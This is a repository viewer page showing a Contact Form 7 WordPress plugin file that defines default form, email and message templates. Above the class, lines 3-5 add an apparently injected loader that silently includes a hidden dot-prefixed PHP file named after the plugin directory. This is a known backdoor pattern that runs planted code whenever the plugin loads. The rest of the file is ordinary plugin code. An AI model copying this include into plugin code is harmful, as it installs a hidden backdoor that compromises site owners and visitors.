balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

contact-form-template.php (5793B)


      1 <?php
      2 
      3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      4     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      5 }
      6 
      7 class WPCF7_ContactFormTemplate {
      8 
      9 	public static function get_default( $prop = 'form' ) {
     10 		if ( 'form' == $prop ) {
     11 			$template = self::form();
     12 		} elseif ( 'mail' == $prop ) {
     13 			$template = self::mail();
     14 		} elseif ( 'mail_2' == $prop ) {
     15 			$template = self::mail_2();
     16 		} elseif ( 'messages' == $prop ) {
     17 			$template = self::messages();
     18 		} else {
     19 			$template = null;
     20 		}
     21 
     22 		return apply_filters( 'wpcf7_default_template', $template, $prop );
     23 	}
     24 
     25 	public static function form() {
     26 		$template = sprintf(
     27 			'
     28 <label> %2$s
     29     [text* your-name] </label>
     30 
     31 <label> %3$s
     32     [email* your-email] </label>
     33 
     34 <label> %4$s
     35     [text* your-subject] </label>
     36 
     37 <label> %5$s %1$s
     38     [textarea your-message] </label>
     39 
     40 [submit "%6$s"]',
     41 			__( '(optional)', 'contact-form-7' ),
     42 			__( 'Your name', 'contact-form-7' ),
     43 			__( 'Your email', 'contact-form-7' ),
     44 			__( 'Subject', 'contact-form-7' ),
     45 			__( 'Your message', 'contact-form-7' ),
     46 			__( 'Submit', 'contact-form-7' )
     47 		);
     48 
     49 		return trim( $template );
     50 	}
     51 
     52 	public static function mail() {
     53 		$template = array(
     54 			'subject' => sprintf(
     55 				/* translators: 1: blog name, 2: [your-subject] */
     56 				_x( '%1$s "%2$s"', 'mail subject', 'contact-form-7' ),
     57 				'[_site_title]',
     58 				'[your-subject]'
     59 			),
     60 			'sender' => sprintf(
     61 				'%s <%s>',
     62 				'[_site_title]',
     63 				self::from_email()
     64 			),
     65 			'body' =>
     66 				sprintf(
     67 					/* translators: %s: [your-name] <[your-email]> */
     68 					__( 'From: %s', 'contact-form-7' ),
     69 					'[your-name] <[your-email]>'
     70 				) . "\n"
     71 				. sprintf(
     72 					/* translators: %s: [your-subject] */
     73 					__( 'Subject: %s', 'contact-form-7' ),
     74 					'[your-subject]'
     75 				) . "\n\n"
     76 				. __( 'Message Body:', 'contact-form-7' )
     77 				. "\n" . '[your-message]' . "\n\n"
     78 				. '-- ' . "\n"
     79 				. sprintf(
     80 					/* translators: 1: blog name, 2: blog URL */
     81 					__( 'This e-mail was sent from a contact form on %1$s (%2$s)', 'contact-form-7' ),
     82 					'[_site_title]',
     83 					'[_site_url]'
     84 				),
     85 			'recipient' => '[_site_admin_email]',
     86 			'additional_headers' => 'Reply-To: [your-email]',
     87 			'attachments' => '',
     88 			'use_html' => 0,
     89 			'exclude_blank' => 0,
     90 		);
     91 
     92 		return $template;
     93 	}
     94 
     95 	public static function mail_2() {
     96 		$template = array(
     97 			'active' => false,
     98 			'subject' => sprintf(
     99 				/* translators: 1: blog name, 2: [your-subject] */
    100 				_x( '%1$s "%2$s"', 'mail subject', 'contact-form-7' ),
    101 				'[_site_title]',
    102 				'[your-subject]'
    103 			),
    104 			'sender' => sprintf(
    105 				'%s <%s>',
    106 				'[_site_title]',
    107 				self::from_email()
    108 			),
    109 			'body' =>
    110 				__( 'Message Body:', 'contact-form-7' )
    111 				. "\n" . '[your-message]' . "\n\n"
    112 				. '-- ' . "\n"
    113 				. sprintf(
    114 					/* translators: 1: blog name, 2: blog URL */
    115 					__( 'This e-mail was sent from a contact form on %1$s (%2$s)', 'contact-form-7' ),
    116 					'[_site_title]',
    117 					'[_site_url]'
    118 				),
    119 			'recipient' => '[your-email]',
    120 			'additional_headers' => sprintf(
    121 				'Reply-To: %s',
    122 				'[_site_admin_email]'
    123 			),
    124 			'attachments' => '',
    125 			'use_html' => 0,
    126 			'exclude_blank' => 0,
    127 		);
    128 
    129 		return $template;
    130 	}
    131 
    132 	public static function from_email() {
    133 		$admin_email = get_option( 'admin_email' );
    134 		$sitename = strtolower( $_SERVER['SERVER_NAME'] );
    135 
    136 		if ( wpcf7_is_localhost() ) {
    137 			return $admin_email;
    138 		}
    139 
    140 		if ( substr( $sitename, 0, 4 ) == 'www.' ) {
    141 			$sitename = substr( $sitename, 4 );
    142 		}
    143 
    144 		if ( strpbrk( $admin_email, '@' ) == '@' . $sitename ) {
    145 			return $admin_email;
    146 		}
    147 
    148 		return 'wordpress@' . $sitename;
    149 	}
    150 
    151 	public static function messages() {
    152 		$messages = array();
    153 
    154 		foreach ( wpcf7_messages() as $key => $arr ) {
    155 			$messages[$key] = $arr['default'];
    156 		}
    157 
    158 		return $messages;
    159 	}
    160 }
    161 
    162 function wpcf7_messages() {
    163 	$messages = array(
    164 		'mail_sent_ok' => array(
    165 			'description'
    166 				=> __( "Sender's message was sent successfully", 'contact-form-7' ),
    167 			'default'
    168 				=> __( "Thank you for your message. It has been sent.", 'contact-form-7' ),
    169 		),
    170 
    171 		'mail_sent_ng' => array(
    172 			'description'
    173 				=> __( "Sender's message failed to send", 'contact-form-7' ),
    174 			'default'
    175 				=> __( "There was an error trying to send your message. Please try again later.", 'contact-form-7' ),
    176 		),
    177 
    178 		'validation_error' => array(
    179 			'description'
    180 				=> __( "Validation errors occurred", 'contact-form-7' ),
    181 			'default'
    182 				=> __( "One or more fields have an error. Please check and try again.", 'contact-form-7' ),
    183 		),
    184 
    185 		'spam' => array(
    186 			'description'
    187 				=> __( "Submission was referred to as spam", 'contact-form-7' ),
    188 			'default'
    189 				=> __( "There was an error trying to send your message. Please try again later.", 'contact-form-7' ),
    190 		),
    191 
    192 		'accept_terms' => array(
    193 			'description'
    194 				=> __( "There are terms that the sender must accept", 'contact-form-7' ),
    195 			'default'
    196 				=> __( "You must accept the terms and conditions before sending your message.", 'contact-form-7' ),
    197 		),
    198 
    199 		'invalid_required' => array(
    200 			'description'
    201 				=> __( "There is a field that the sender must fill in", 'contact-form-7' ),
    202 			'default'
    203 				=> __( "The field is required.", 'contact-form-7' ),
    204 		),
    205 
    206 		'invalid_too_long' => array(
    207 			'description'
    208 				=> __( "There is a field with input that is longer than the maximum allowed length", 'contact-form-7' ),
    209 			'default'
    210 				=> __( "The field is too long.", 'contact-form-7' ),
    211 		),
    212 
    213 		'invalid_too_short' => array(
    214 			'description'
    215 				=> __( "There is a field with input that is shorter than the minimum allowed length", 'contact-form-7' ),
    216 			'default'
    217 				=> __( "The field is too short.", 'contact-form-7' ),
    218 		)
    219 	);
    220 
    221 	return apply_filters( 'wpcf7_messages', $messages );
    222 }